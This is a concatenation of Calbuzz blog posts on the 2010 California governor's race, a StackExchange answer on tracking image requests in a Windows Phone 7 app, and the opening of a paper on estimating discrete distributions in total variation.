"As Republicans, we were really concerned as the primary went on because since they were so close on the issues, it was really going to come down to a very nasty, personal fight," Sundheim said. Said Naylor: "When the dust settled in the primary, the Whitman campaign was over." And Brulte, who with his commentary reaffirmed his position as the sharpest Republican mind in the state, observed that except for Ronald Reagan and Arnold Schwarzenegger – celebrities who transcended politics – California voters have always wanted an experienced hand as governor. By spending so much money on television without a break, Whitman undercut her own ability to be the next best thing, he argued. "By Labor Day, Jerry Brown, who was governor when I was in high school, was the fresh new face."
Message trumps money — Since we're kvetching about others for a lack of self-criticism, Calbuzz should acknowledge that our own coverage may have suffered from putting too much focus on the extraordinary spectacle of Meg's crazed spending, which at times led us to the misassumption that she could make up for her lack of a clear and consistent winning message by throwing money at the problem.
"I never understood it," said Democratic consultant Gale Kaufman. "Every time you turned on the TV, there were four or five tracks of (Whitman) ads that were completely different. They were switching ads all the time. You had no idea what their strategy was and never had anyone explain it to me." The Whitman campaign never had a compelling message, agreed consultant Rick Claussen: "Tactics is just a way to talk to voters." You can spend all you want reaching out to voters, but if you don't have something worth listening to, it's a huge waste of money.
Brown was both lucky and good — In the final session of the conference, Brulte put his partisan perspective aside and offered his bottom line: Brown "ran a picture perfect campaign," he said, a strategy built on keeping its focus on fundraising, using the office of Attorney General to keep him in the news and steering their own course no matter how much the winds emanating from Camp Whitman tried to blow them off course.
In Jim Moore, Brown had the best pollster in the race, the best ad man in Joe Trippi and the most disciplined manager in Glazer; their game plan to hold their fire until Labor Day, while many top Democrats and the political peanut gallery were hollering for them to answer eMeg's summer assault, made all the difference. But Brown's strategists also admitted that they benefited from missteps by eMeg. Said Glazer:
The one worry that I had when we went through that (2009) fall period into the new year was that Meg Whitman was going to use her resources to use Jerry Brown as the foil to be a stronger Republican . . . I thought that she would — even before the new year struck — that she would start to use Jerry Brown and start to raise our negatives by running against us as the presumptive Republican nominee. And I expected that all the way through until the primary day. I was very surprised that that actually never happened.
Once the primary was over, Trippi's greatest fear was that Whitman would "go dark" over the summer, giving voters a respite from her 24/7 invasion of their living rooms and allowing her to re-emerge as a fresh face in the fall. Instead she essentially turned herself into the incumbent in a year when voters wanted change.
As Bognet had put it earlier: "She built herself a $180 million brand. Unfortunately, by the time the general came around her brand was, 'She's the woman with the money who won't get off my TV.'"
Panelists also agreed that Whitman made a huge error by trying to portray Brown as a traditional tax and spend liberal, which simply misstates his record. As Republican Naylor, who served in the Assembly during Brown's first turn as governor, put it: "Tax and spend doesn't stick with Jerry Brown."
Tone matters — Trippi correctly observed that the relentlessly snarky tone of Whitman's relentless attack ads didn't resonate with voters – "failure has followed him everywhere" he intoned — because they have a much more complex and long-running, if not always fond, relationship with him. Better for the Whitman people, Trippi said, to have been respectful to Brown by crafting a more-in-sorrow-than-in-anger "gold watch" message, saying that he had performed valuable service to the state but adding that it was simply time for him to go, and to elect a "governor for the 21st century."
Trying to avoid the press was a huge blunder — Speaker after speaker pointed to Whitman's strategy of stiffing the media as a costly error for several reasons: it sent a message to voters that she thought she was too good to go through the usual hoops candidates for high office have always faced; it established a narrative that Whitman was secretive, and must have something to hide; it was a clear affront to the working press of the state, and their frustration showed up in the stories. As Poizner's Jarrod Agen put it: "It never works to avoid the press."
Bill Lockyer is the Diogenes of state politics — California's treasurer was the keynote speaker of the conference and he turned in a boffo performance that provided a full-on and utterly frank look at the state of the state's finances. Ask Lockyer what time it is and he's liable to tell you how to make a watch, so some of his discourse on the niceties of the municipal bond market were a bit windy, but he's smart, funny and seen it all. We'll be running the text of his speech later this week.
Worst advice — The model for a California GOP comeback is Chris Christie in New Jersey, said Republican Tony Quinn. Sustained attacks on public employee unions and bloated government are the key to victory, he said. When Calbuzz rose to note that Whitman had done exactly that, he replied that she hadn't done it very well.
Immigration sunk Whitman — Even before Meg's Nicky Diaz housekeeper scandal, the immigration issue was a huge problem for Whitman. As Glazer explained, she had many liabilities on the issue even without Nicky – from shifting positions on a path to citizenship to her opposition to the Dream Act. Poizner's hardline position in the primary forced her to move far right, which made her efforts to get back to the center in the general look pathetically calculated. When the Nicky story erupted, it merely personalized the hypocrisy and brazen opportunism of her political stances.
As Poizner's Agen explained:
If we'd gotten into the general, it would have been a policy debate between Steve and Governor Brown on the policy issue of immigration. Jerry Brown would have had one stance on immigration, Steve would have had the other. But it would have been a policy discussion on immigration . . . What ended up happening, though, was immigration turned into a character issue and that is what ultimately hurts the Republican Party hugely is if immigration is a character issue. If it stays a policy issue, people are going to disagree with it and we felt that if you get to the general election, we'll have it out, we'll have that debate with Jerry on immigration, we'll see how people, where people stand.
Best line – The strategists were asked at one point to name one thing they would have done that they didn't do. "Telephone operational training," said Glazer, a big laugh reference to Brown's failure to hang up the phone when leaving a message with a law enforcement union, which led to the flap over someone in Brown headquarters (hello, Anne) referring to eMeg as a political "whore."
Best fights — Field Pollster Mark Dicamillo ripped off the face of robopollster Jay Leve of SurveyUSA (in the nicest possible way), who responded with a furious defense of his methodology, a screed that included some whacks at Calbuzz. The Cage Match of the pollsters was only matched for excitement when Democratic operative Bob Mulholland and Tony Quinn got into a finger-pointing duel about the rules and political significance of the new "top two" primary system. Talk about don't-invite-ems.
The new Whig party — A number of speakers at the conference strongly argued that the California Republican party is essentially dead. Brulte for one said there was no way Whitman could have won the race because of the structural and demographic political landscape of the state, while Sundheim said "Republicans, as a brand, are dead." Speaker after speaker noted how the Republican hostility to Latinos and other minorities, coupled with tired messaging that has nothing for younger voters, has made them an isolated and marginal party of old white people. Most seemed to have read and adopted the Calbuzz Memo to CA GOP: Time to Do Something Different.
Speaking of Whigs — Sacramento consultant Ray McNally, proving that there's not much new in American politics, read from an 1840 confidential memo written by Abraham Lincoln that laid out a complete organizing strategy for the "overthrow of the corrupt powers that now control our beloved country," which included everything from polling and GOTV to voter contact and fundraising. Example: "3) It will also be their duty to report to you, at least once a month, the progress they are making, and on election days see that every Whig is brought to the polls." You can read it here.
The two minds of the voters — Political scientist Kim Nalder from Sac State honed in on the most fundamental factor driving state politics today: the disconnect that voters feel between demanding high levels of service and their determination not to pay taxes. Lockyer underscored a Calbuzz report that voters think 48% of the money the state spends is wasted — a high hurdle for Brown to overcome if he is to sell his cuts-and-taxes budget plan to fix the state's $28 billion budget shortfall.
Deep thoughts: Thad Kousser of UC San Diego made some points that cut against the notion that California is forever blue (an argument that effectively lets the Armies of eMeg off the hook). A panel of political scientists agreed that "campaign effects" are marginal – but that marginal effects matter big time in close races, so the Whitman-Brown race could have been close – "Nothing was inevitable in this campaign." And a note to future mega-spending candidates: "Campaigns can't tell voters what to think, but they can tell them what to think about."
Nice work — There were too many journalists from the LA Times on the program (although we were wrong to say two of the three didn't cover the governor's race: only one did not) and not enough from other major papers or news agencies. But the four who participated — Mark Barabak, Cathy Decker and Anthony York of the Times, and Timm Herdt of the Ventura County Star — did a fine job of moving the conversation along.
Tags: Anthony York, Attorney General, Bob Mulholland, Bob Naylor, Cathy Decker, Duf Sundheim, Gale Kaufman, Garry South, gold watch message, Institute of Governmental Studies, Jarrod Agen, Jay Leve, Jim Bognet, Jim Brulte, Jim Moore, Joe Trippi, Kim Nalden, Mark Barabak, Mark DiCamillo, Nick Clemons, Ray McNally, Rick Claussen, Steve Glazer, SurveyUSA, Thad Kousser, Timm Herdt, Tony Quinn, UC Berkeley, UC Regents
Posted in Bill Lockyer, California Governor's Race, California Politics, Campaign Advertising, Gavin Newsom, Illegal Immigration, Immigration, Jerry Brown, Meg Whitman, Steve Poizner | 2 Comments »
Calbuzz Rescues Inaugural from Crashing Boredom
Calbuzz staff psychiatrist Dr. P.J. Hackenflack greatly enhanced his reputation as the Perle Mesta of California Monday night, as he tossed the toughest-ticket bash of Inaugural Week, featuring fine cuisine and libation, fine fellowship and the brightest stars in the state's glittering political firmament.
In a political social whirl otherwise dominated by an event where the big payoff was a couple of dogs and a small bag of chips, Calbuzz party organizers agreed with each other that their gathering of First Amendment scumbags and rapacious consultants was by far the best shindig of the week.
Unfortunately for the good Doctor H., he missed his own soiree, after passing out cold beneath a banquet room table from rapidly throwing down 13 or 14 double Jamesons on the rocks several hours before his guests arrived.
Still, the 90 or so revelers who were actually conscious for the big party, held at fabulous Lucca restaurant (plenty of valet parking), did their best to overcome their disappointment at his absence, dining on smoked chicken risotto, chicken saltimbocca, pan roasted salmon and grilled bistro steak, consuming mass quantities of Ray Station Merlot, Kendall Jackson Chardonnay and Camelot Cabernet, and enjoying an evening utterly bereft of the tedious, mind-numbing speechifying that characterizes most such events in Sacramento.
Plus, they got a really cool credential — the type which the skinflint Brown operation provided to no one covering his big day.
Consistent with the post-post-partisan values and ethics of Calbuzz — which hold that folks of differing political persuasions are to view their rivals not as bitter enemies, but as nutty neighbors — Republican operatives like Adam Mendelsohn, Jim Brulte, Kevin Spillane, Marty Wilson, Beth Miller and Julie Soderlund (special kudos to Rob Stutzman and Mitch Zak for being the only ex-members of t he GOP's Legions of eMeg with the stones to show up) mixed and mingled with leading Democratic lights, including Tom Quinn, David Townsend, Joe Trippi, Donna Bojarsky, Jim Moore, Steve Glazer, Jason Kinney, Roger Salazar, Steve Maviglio, Karen Skelton and Garry South (whose frequent harsh criticisms of Jerry Brown's campaign for governor make him an intraparty marked man, matched Stutz and Zak's raw courage in taking his place at the festivities), while other hacks (widely suspected of RINO tendencies by some in the Neanderthal Caucus) including Jack Flanigan, Bob Naylor, Donna Lucas and Don Sipple, added to a gemutlicht ambience of general hilarity.
Along with mem bers of the Capitol press corps that Calbuzz actually knows (apologies to Sactown hacks we don't know), world-class media types, including New York Times L.A. bureau chief Adam Ngourney, by-God L.A. Times sage George Skelton and national political correspondent Mark Barabak, A.P. political writers Juliet Williams and Judy Lin and KCRA-TV's inimitable Kevin Riggs sprinkled the crowd, as Greg Lucas of "California's Capitol," Joel Fox of "Fox and Hounds" and Torey Van Oot of "Capitol Alert" ably represented the political blogosphere and blindingly insightful eggheads and policy makers like Dan Schnur, H.D. Palmer, Dave Lesher, Nancy McFadden and Peter Schrag raised the average I.Q. of the room at least a point or two.
Here stood newly sworn-in governor Brown, huddling with newly named Resources Secretary John Laird over matters of apparent great urgency.
There was new First Lady Anne Gust, explaining to an astonished inaugural witness how she was surprised to find out she was introducing her husband about two minutes before his swearing in.
Across the room, almost Lieutenant Governor Gavin Newsom passionately held forth on the insider intricacies of San Francisco politics that have delayed his swearing in (see Agnos, Art and his five votes).
We even have a boozy recollection of overhearing Krusty and the Prince dividing up the world: Gavin focuses on economic development and UC and stays out of Jerry's way as he tries to run the government. Such a deal.
Worried Democrats meanwhile kept an anxious eye on Brown, lest he keel over and make incumbent Lite Gov Abel Maldonado a full-term governor before Newsom takes the oath of office.
A good time was had by all, except for the aforementioned, utterly plastered Dr. H. There were no injuries.
Tags: Adam Mendelsohn, Adam Ngourney, Anne Gust Brown, Beth Miller, Bob Naylor, Dan Schnur, Dave Lesher, David Townsend, Don Sipple, Donna Bojarsky, Donna Lucas, Garry South, Gavin Newsom, George Skelton, Greg Lucas, H.D. Palmer, Inauguration, Jack Flanigan, Jason Kinney, Jim Brulte, Jim Moore, Joe Trippi, Joel Fox, Judy Lin, Julie Soderlund, Juliet Williams, Karen Skelton, Kevin Riggs, Kevin Spillane, Lucca, Mark Barabak, Marty Wilson, Mitch Zak, Nancy McFadden, Peter Schrag, Robt Stutzman, Roger Salazar, Steve Glazer, Steve Maviglio, Tom Quinn, Torey Van Oot
Posted in California Politics, Jerry Brown | 11 Comments »
Rocky Poizner Battles Back Against eMeg Creed
There's a great scene in "Rocky," after underdog Sylvester Stallone has just hammered the arrogant heavyweight champion Apollo Creed with a couple of roundhouse lefts, and the champ's corner man yells at him to stop preening and prancing around:
"He doesn't know it's a damn show," says Creed's trainer. "He thinks it's a damn fight!"
The classic cinematic moment came to mind Wednesday, when Steve Poizner's campaign for governor delivered a major blow against the mantle of inevitability that Republican primary rival Meg Whitman has worn for months:
After trailing eMeg by 40+ points as recently as a few weeks ago Team Steve trotted out a quartet of senior strategists for a conference call with political writers to proclaim that they've closed to within 10 points, with nearly five weeks to go before the June 8 election.
"The Meg Whitman campaign is one of these classic campaigns which is sort of somebody walking around with a paper bag full of water. It wasn't going to leak, but once it went, it would go. And that process is very much underway," said chief strategist Stuart Stevens.
That there is some substance behind their spin had already been demonstrated, when Whitman's handlers – after learning about the upcoming Poizner press call — convened their own conference call, leapfrogging Poizner by 30 minutes. Pre-spin spin.
"Our polls have been tracking with the public polls and I would be very strong in suggesting take any internal poll spin 30-32 days out with a grain of salt and keep an eye on those public polls that aren't paid for by an interested party," said Whitman strategist Mike Murphy. "Still, I want to be very clear we have always expected this race to close, and I think we've been very direct in telling you guys that."
Poizner, he said, has "spent about $14.5 million on negative advertising targeting Meg Whitman, most of it misleading and disingenuous, but it has served two purposes. One, it has confused Republican primary voters — and we're going to get them unconfused– and second it's made Steve Poizner fundamentally unelectable in the general election."
The dueling spin sessions heightened the growing sense of immediacy and aggressive engagement in the GOP race, building on the hostile tone of Sunday's Meg-Steve debate, and the recent multi-million dollar volleys of attack ads the contenders are launching against each other, during every popular TV show from "Lost" to "Dancing with the Stars."
And speaking of movies, the several hour spin cycle played out kind of like "Rashomon" with both sides looking at the same events and developments and offering entirely different interpretations. Here's a look at the highlights:
Polling – Poizner trotted out Neil Newhouse and Gene Ulm of Public Opinion Strategies to offer what they said were the key findings of their latest three night tracking poll (May 2-4, 800 undefined "likely Republican primary voters"). According to Newhouse, in the middle of February – the "Valentine's Day Massacre," he called it – Poizner trailed Whitman 59-11%; now, he said, eMeg's lead has been cut to 38-28%.
Both candidates now have negative impression ratings, he said, eMeg's favorable-to-unfavorable at 25-49% and Poizner's at 30-39%. "The more the voters see of Meg Whitman, the less they like her and the more they see of Steve Poizner the more they like him," said Stevens.
Whitman's Murphy did not actually dispute the ballpark numbers presented by Newhouse. "We are holding a strong lead but we're running this campaign like we're one point behind." He said Whitman is a "lot closer" to holding 50% of the GOP vote than Poizner is and that Whitman's lead is "a double-digit number."
Message – Stevens said that Whitman's message had been "muddled" – "they're attacking Steve for not being conservative enough, but she's never even said she's a Republican" – and that Team eMeg had committed a blunder by coming out of the box very early with negative attacks on Poizner instead of laying down a positive track. He said the Whitman campaign "made a strategic error attacking Steve so early" with ads that ridiculed, belittled and made fun of Poizner. "Voters have reacted very negatively to that," he said, "they've been oversold."
Stevens refused to say what Poizner's mix of negative to positive ads would be.
It's clear that Poizner will be seeking to dash against one of Whitman's strongest arguments: inevitability; "I think it is remarkable that Whitman has failed to really lock down this race with the amount of spending she's done so far," said Newhouse. "It makes you wonder whether that can be corrected by spending even more money down the road. This race is still yet to be decided. We still have a lot of time left in this campaign. And voters are moving at a fairly rapid pace. If Whitman is unable to reverse this trend, then I think you are looking at a real upset here in the making."
Murphy continued to argue inevitability. "We're now in a debate over whether Steve Poizner will lose huge, lose medium, or lose a little tighter," he said. "A vote for Poizner is really in many ways a vote for Jerry Brown because Commissioner Poizner has made himself completely unelectable in the general election."
He said Whitman is "the only fiscal conservative" in the race and suggested that the campaign would be mailing strongly negative material about Poizner to voters in the coming days.
He also sought to turn Whitman's Goldman Sachs taint back on Poizner. "The Goldman Sachs ad I know is a big spin item to the Poizner campaign but I don't know I think it's got to spin heavy and the full Goldman story has not been told," Murphy said. He then threw out an allegation for which he offered not a shred of evidence: "I think Mr. Poizner should release his Goldman transactions during that time, during the tech boom when he was a wealthy individual there and I bet 50,000 that those returns would show that Steve Poizner participated in the same kind of IP shares that he's accusing Meg Whitman of getting."
Mechanics – The Whitman handlers stressed that their campaign has superior organization, including phone banks and voter contact. In addition to endorsements like the Farm Bureau and former California Secretary of State Bill Jones, the campaign has built a huge volunteer structure, said consultant Jeff Randle.
"We are up and running in all 58 counties across the state," he said. " We have 15,000 committed volunteers that are out working for us at this stage of the campaign that's more than any statewide campaign, gubernatorial campaign, that I've ever seen in this state. We've got phone banks going every night. We've got four field offices around the state: LA, Orange County, San Diego and the Bay Area. We started our volunteer program last night, we've made almost 100,000 phone calls in the first week. You'll see yard signs popping up all over the state here in the next couple of days for Meg. On the stump you see crowds continue to grow, there's excitement, there's momentum, there's buzz."
Murphy predicted that a huge proportion of the electorate – 30-35% — would cast their votes as permanent absentees by the end of May suggesting that the notion that there's still a lot of time left to move against Whitman is a fallacy.
Stevens mocked the notion that Whitman is "a grassroots candidate" and said the fact that Murphy was talking about process was a sign that their messaging had failed.
Jim Brulte, chairman of the Poizner campaign disputed Murphy's assertion that a third of primary voters would cast ballots so early because of the many high-visibility propositions that voters will want to study before coming to a conclusion and mailing in their ballots.
Perhaps the most intriguing subject was one that was not discussed: unlike most other campaigns, there was no mention of fundraising, normally cited by campaigns as a marker of progress or success. With the two zillionaire squaring off, money is not obviously no object.
Calbuzz bottom line- The Republican race has now been joined and the big winner in yesterday's spin war was the presumptive Democratic nominee.
Said Murphy, calling Poizner a "surrogate" for the attorney general and the labor unions: "The one person who's enjoying this more than anyone else is Jerry Brown."
Tags: Bill Jones, favorable-to-unfavorable, Gene Ulm, grassroots, Jeff Randle, Jim Brulte, muddled, Niel Newhouse, polls, public opinion poll, Public Opinion Strategies, volunteers
Posted in California Governor's Race, California Politics, Campaign Advertising, Meg Whitman, Steve Poizner | 3 Comments » | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 2,492 |
Q: Windows phone 7, code to indicate how many clicks of an image? So I had a thought -- Say you have pictures streaming to your app from a webpage. Is there any way to put code in the app to find out how many times a person has tapped the image, or how many times they have pressed a button belonging to the image?
Think of the "Like" button for facebook, where people can have +1, and see the total count of how many people also "like" it.
If so, how would one go about coding this?
A: You question is very vague...
If you want the count of how many time the image was loaded you can count that server side every time the picture is downloaded. If you want to give them a "like" button then you can add that to your WP7 app and call a page server side or a WCF service with some ID value for the picture to track the "likes".
For example:
HTTP Version
You can download the pictures from you webserver using a link such as "http://www.mysite.com/pictures.aspx?ID=Funnyfile.jpg&DeviceID=29393848293".
ID would be the unique ID for your application to know which picture to load
DeviceID would be the Device ID for the WP7 device loading the picture in your app (MSDN doesn't recommend you use the Device ID to identify unique users so you might need to adjust this value).
You could then set the source of an Image Control to that URL to load the image.
Uri uri = new Uri("http://www.mysite.com/pictures.aspx?ID=Funnyfile.jpg&DeviceID=29393848293", UriKind.Absolute);
ImageSource imgSource = new BitmapImage(uri);
ProfileImage.Source = imgSource;
A WCF Service can use a similar manner and would allow you to pull a collection of images back from the server if you need to. The basics of building the service wouldn't be overly complicated, but I am omitting and example to save time.
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 1,606 |
We left off in North Dakota, and this shows a dirt road - if it's even a road at all. During this trip, I saw several instances where clearings and other roadless spaces were marked as roads - paper roads, if you will. I'm guessing this could be off ND 22 near Gascoyne.
ND 22 approaching US 12. ND 22 turns right up ahead to use US 12, while the road beyond becomes unpaved.
West on US 12 in Scranton, ND. The bridge is for ND 67, and there's a ramp to it, which is almost like a "Kentucky loop."
This is probably US 12 near Bowman, ND.
US 12 near Marmarth, ND.
North Dakota is a land of surprises. When you think of North Dakota, do you think of arid, mountainous terrain like this?
A rail line follows US 12 through most of its North Dakota run. This is a view of a small bridge on that rail line.
Another view of that rail bridge.
Another surprise: a video showing US 12 crossing from North Dakota into Montana, of all places!
A train travels alongside US 12 near Baker, MT.
The train's still going here in Baker. This is north on Main Street, which uses MT 7.
South on MT 7, Main Street becomes Lake Street.
We return to North Dakota on US 12, and we were able to get another glimpse of the Montana welcome sign. This sign simplifies the state's western boundary, which is actually shaped like a profile of Ronald Reagan (though others have likened it to Richard Nixon or Tom Hanks).
Back in North Dakota, this formation caught my eye.
A view of the Little Missouri River from US 12.
We come back to South Dakota on US 85.
South on US 85 near Ludlow, SD.
South Dakota has as many surprises as North Dakota. It's sort of like North Dakota only it's to its south. Maybe they should call it South North Dakota.
Mountain scenery along US 85.
You can see pretty far ahead going south on US 85 north of Belle Fourche. How? Mozzarella sticks, that's how. Sweet, wonderful mozzarella sticks.
Yet another shocker: Wyoming! In this movy (sic), SD 34 becomes WY 24. This is near Aladdin, WY. Remember a video game arcade called Aladdin's Castle? I got thrown out of that place once.
WY 24 continues near Aladdin.
WY 24 near Alva. About 20 miles in the distance is Devils Tower. It's the formation faintly visible at center left.
The town of Hulett on WY 24.
WY 24 continues through Hulett. | {
"redpajama_set_name": "RedPajamaC4"
} | 4,375 |
New Resource on Gender, Sexual..
Next year the second edition of my book Rewriting the Rules is coming out. As I was making the edits for the new (hopefully improved) version, I thought that the approach I took to relationships in the book might be useful to apply to lots of other things too, for example to certain times of year, or places, or feelings.
What are the rules about this thing which are often taken-for-granted (by our wider culture, our communities, the people in our lives, and ourselves)?
Why might it be useful to question those rules?
What might we replace them with if they weren't working so well for us?
What would it be like to embrace uncertainty and to approach this thing without any rules?
Given that the festive season is nearly upon us, and it's a tough time of year for many people, let's apply this approach to that. I'll work through the questions with some of the common social rules that I'm aware of in relation to the festive season, but you might want to consider different rules that apply more to your situation.
It's important to be mindful that we all have different experiences of this season based on, for example, our family situation, our faith (if we have one), our cultural background, our generation and age, our mobility and health, past experiences over this period and more. That's why the intersectional approach (which I've tried to take in the new edition of Rewriting the Rules) is a vital starting point.
You must see your family at this time of year, probably in a very specific way such as staying all together in one place for a period of time, or zooming around making sure you see everyone.
You have to show your love for each other through exchanging expensive gifts which prove how much you really know this person and their tastes.
The festive season is 'the most wonderful time of the year' so you must be happy and have a merry time (and definitely not be a Scrooge!).
So why might it be useful to question those rules?
In relation to family many, if not most, of us have complicated relationships with our families, perhaps being estranged or distant from some or all of them, or simply not having any remaining family. Some people find that they always conflict with their family in unhelpful ways when they spend an extended period together. Some enjoy spending time with family but just find the attempt to pack all of them in to the same short space of time very stressful, for example if they feel they have to see the families of themselves and their partner or partners, or all of their extended family who live in different places. This is compounded for people who have little vacation time and really need to spend what little they have relaxing.
Turning to expensive gifts, this recent article by George Monbiot is a good summary of the toll that – often unwanted novelty – presents can take on the planet and on the human lives of those involved in their production. Also many of us simply cannot afford expensive gifts due to the impact of the extended period of austerity we've been living through. And, even if we can, the pressure to find the 'perfect' gift to communicate our love can be intense and stressful.
Finally, on feeling happy, many of us actually have good reasons to find the festive period emotionally tough, due to the aforementioned stressors and more. The time away from work – and the turn of the year – can get us reflecting on our careers in ways that are challenging, and time with our nearest and dearest can similarly prompt us to look closely on our relationships. Many people have painful anniversaries at this time of year – of bereavements and break-ups for example – and find that the festive rituals, sights, sounds, etc. can trigger distressing or traumatic memories.
What alternative rules are possible?
Given all these reasons to question the cultural rules of the festive season, what might we put in their place if we want to make some changes?
We might get more intentional about who we see and how we see them over this period. For example, many people have found ways to shift family rules, such as deciding to see different family members on alternating years; having different days as their 'Xmas day', 'New Year's Eve', etc. with different close people or groups; going away alone for the holidays – or doing charity work or a retreat at this time – in order to disrupt an ingrained family habit; or staying nearby but not actually with family so they can dip in and out of the festive fun depending on the parts which work for them.
We could agree some limits on gift-giving with the people in our life. For example some people decide to just exchange small tokens, or to do 'Secret Santa' where you only have to get something for one person in a group or family. You can share wishlists online so that people know what you actually want, or give money to a person's favourite charity instead of a gift. You might also consider making handmade gifts instead of buying them, or giving people tokens for an experiences they can have with you in future (e.g. tokens for a day out together, cooking them a meal, or giving them a footrub). You could decide to only ever give 'I saw this and thought of you' type gifts, rather than exchanging gifts at a particular time of year.
In relation to feelings, all of that pressure to have a happy, merry, wonderful time paradoxically means that we're less likely to experience the festive season in that way. You've probably experienced this yourself: when you put a lot of pressure on a specific day or period to be a positive experience it often feels less so because you can't be present to what's happening, and any minor mishap can feel like a crisis. Trying to make it a positive experience for absolutely everyone, and taking responsibility for other people having a 'wonderful time', turns up the pressure even more, perhaps meaning that you end up exhausted, or exploding, or missing out on the experience. One alternative to this is to think about all of the feelings that the festive period brings up for you, and to consider what your self-care needs are in relation to these. Do you need to factor in some time alone? What kinds of support might be helpful for you? What might you let other people know about things that you find challenging at this time of year?
Most of the examples I just gave were about shifting the existing rules, or replacing them with other rules, but still with a sense that we need some rules around the festive period, and perhaps it's not really okay to step away from those taken-for-granted rules entirely. I want to say here that it absolutely is fine to decide not to see family at all, or not to exchange any gifts, or to refuse to put a happy face on it, if those things don't work for you. What might embracing uncertainty around the festive period look like, if we stepped away from rules entirely?
In relation to family, you could reflect on Armistead Maupin's concept of logical family. For many people – particularly those in LGBTQ+ communities – biological family are not our closest people. It really is okay to think about who – if anyone – we want to share this time with. Could you then open up an open, consensual conversation with your nearest and dearest about what is important for each of you around this period, and any limits around what you have the capacity for, or want to offer? Harriet Lerner writes very helpfully about how to do this kind of mutual, consensual communication if you find it hard.
In the book that Jacqui Gabb and I wrote together, The Secrets of Enduring Love, we drew on Gary Chapman's concept of love languages. This is the idea that people like to express love, and have it expressed to them, in different ways. Giving and receiving gifts is only one of those ways. Again you could open up a conversation with nearest and dearest about how you each enjoy expressing love and having it expressed, and what your limits are around this. You could figure out between you what will work best for all concerned – whether or not it is linked to the festive period. For example, it might be be about writing a list of all the things you're grateful to somebody for, or agreeing to share a certain period of time together, or doing something particular with them.
Finally, what about making the festive period a time during which all of your feelings are welcome, rather than only the ones our culture labels 'positive'. Maybe you could share this idea with other people in your life too. You could even make time or rituals around allowing grief, regret, fear, and frustration, for example, alongside the more conventional festive feelings of peace, hope, love, merriment, etc. You could make the movie Inside Out one of your festive favourites because it's such a great explanation of why this is important. My zine Staying with Feelings, might be helpful if this sounds like a useful approach to you. You're absolutely allowed to embrace the 'bah humbug' as well as the 'winter wonderland'. | {
"redpajama_set_name": "RedPajamaC4"
} | 7,781 |
/*
Configuration for my-pet-shop
*/
export default {
// APIs
petApiHost: '<< API_ID >>.execute-api.<< REGION >>.amazonaws.com',
petApiRegion: '<< REGION >>',
// Cognito
cognitoUserPoolId: '<< COGNITO_USER_POOL_ID >>',
cognitoUserPoolAppClientId: '<< COGNITO_USER_POOL_APP_ID >>',
cognitoIdentityPoolId: '<< COGNITO_IDENTITY_POOL_ID >>',
cognitoUserPoolRegion: '<< REGION >>'
}
| {
"redpajama_set_name": "RedPajamaGithub"
} | 4,604 |
The Red Romance Book: Tales of Knights, Dragons & High Adventure (or The Red Book of Romance) is a book of heroic tales and legends. It was edited by Andrew Lang with illustrations by Henry J. Ford, and published in London by Longmans, Green, and Co. in 1905. The tales were generally taken from sagas and chivalric romances such as The Story of Burnt Njal, The Faerie Queene, Don Quixote and Orlando Furioso. They are about such legendary characters as Bevis of Hampton, Huon of Bordeaux, Ogier the Dane and Guy of Warwick. Some are literary fantasies, while others, such as the story of El Cid, have a basis in historical fact.
Contents
The 1905 edition of the book included:
How William of Palermo was carried off by the Werwolf
The Disenchantment of the Werwolf
The Slaying of Hallgerda's Husbands
The Death of Gunnar
Njal's Burning
The Lady of Solace
Una and the Lion
How the Red Cross Knight slew the Dragon
Amys and Amyle
The Tale of the Cid
The Knight of the Sorrowful Countenance
The Adventure of the Two Armies who turned out to be Flocks of Sheep
The Adventure of the Bobbing Lights
The Helmet of Mambrino
How Don Quixote was Enchanted while guarding the Castle
Don Quixote's Home-coming
The Meeting of Huon and Oberon, King of the Fairies
How Oberon saved Huon
Havelok and Goldborough
Cupid and Psyche
Sir Bevis the Strong
Ogier the Dane
How the Ass became a Man again
Guy of Warwick
How Bradamante conquered the Wizard
The Ring of Bradamante
The Fulfilling of the Prophecy
The Knight of the Sun
How the Knight of the Sun rescued his Father
References
Works based on European myths and legends
British children's books
Children's short story collections
1905 short story collections
1905 children's books
Books about cats | {
"redpajama_set_name": "RedPajamaWikipedia"
} | 8,137 |
Wallace Commercial Historic District is a national historic district located at Wallace, Duplin County, North Carolina. The district encompasses 55 contributing buildings in the central business district of Wallace. It primarily includes commercial buildings with notable examples of Queen Anne and Moderne style architecture. Notable buildings include the (former) Wallace Post Office (1940-1941), (former) Farmers Bank & Trust Company (1922), White House Cafe, Wallace Depot and Freight Warehouse, Oscar Rivenbark Wholesale Building (c. 1945), Johnson Cotton Company Building and adjacent Warehouse (c. 1945), Blanchard Pontiac dealership (c. 1945), and the former Robert Carr Gulf Station (c. 1936).
It was added to the National Register of Historic Places in 1995.
References
Historic districts on the National Register of Historic Places in North Carolina
Queen Anne architecture in North Carolina
Moderne architecture in North Carolina
Buildings and structures in Duplin County, North Carolina
National Register of Historic Places in Duplin County, North Carolina | {
"redpajama_set_name": "RedPajamaWikipedia"
} | 1,355 |
Members & guests welcome, refreshments will be served!
"We wanted to open up and find our unique sound. And now we're going to places in songs we never thought we could go." So says Steve Shimchick, one-third of rising musical force Cold Weather Company. On Find Light, the third album from the New Jersey-based trio of Shimchick, Brian Curry and Jeff Petescia, the group expands mightily on their core of two guitars and a piano. Here, they've roped in a number of friends and contemporaries on percussion, bass, cello, violin, trumpet, flute, sax and clarinet, creating a soundtrack that moves far beyond the band's lean sounds of 2015's Somewhere New and 2016's A Folded Letter.
Our expertise in music, comedy, and engaging the millennial/college market led to the creation of original programs and strategies for brands like Taco Bell, UGG, truTV, [adult swim], Comedy Central, and more. We've been instrumental in the growth and development of a wide variety of artists including The Killers, Portugal. The Man, Spoon, Arctic Monkeys, and Death Cab for Cutie, and comedians such as Amy Schumer, Ali Wong, and Jim Gaffigan. | {
"redpajama_set_name": "RedPajamaC4"
} | 9,686 |
\section{Introduction}
\label{sec:intro}
Approximately recovering the parameters of a discrete distribution
is a classical problem in computer science and statistics
(see, e.g.,
\citet{han-minimax-l1-2015,DBLP:conf/colt/KamathOPS15,DBLP:conf/nips/OrlitskyS15}
and the references therein).
Total variation (TV) is a natural and well-motivated choice
of approximation metric
\citep{MR1843146}, and
the
metric
we use
throughout the paper
will be derived from TV
(but see
\citet{DBLP:conf/innovations/Waggoner15} for results on other $\ell_p$ norms).
The minimax sample complexity for obtaining an
$\eps$-approximation
to the unknown distribution
in TV is well-known to be
$\Theta(d/\eps^2)$,
where $d$ is the support size
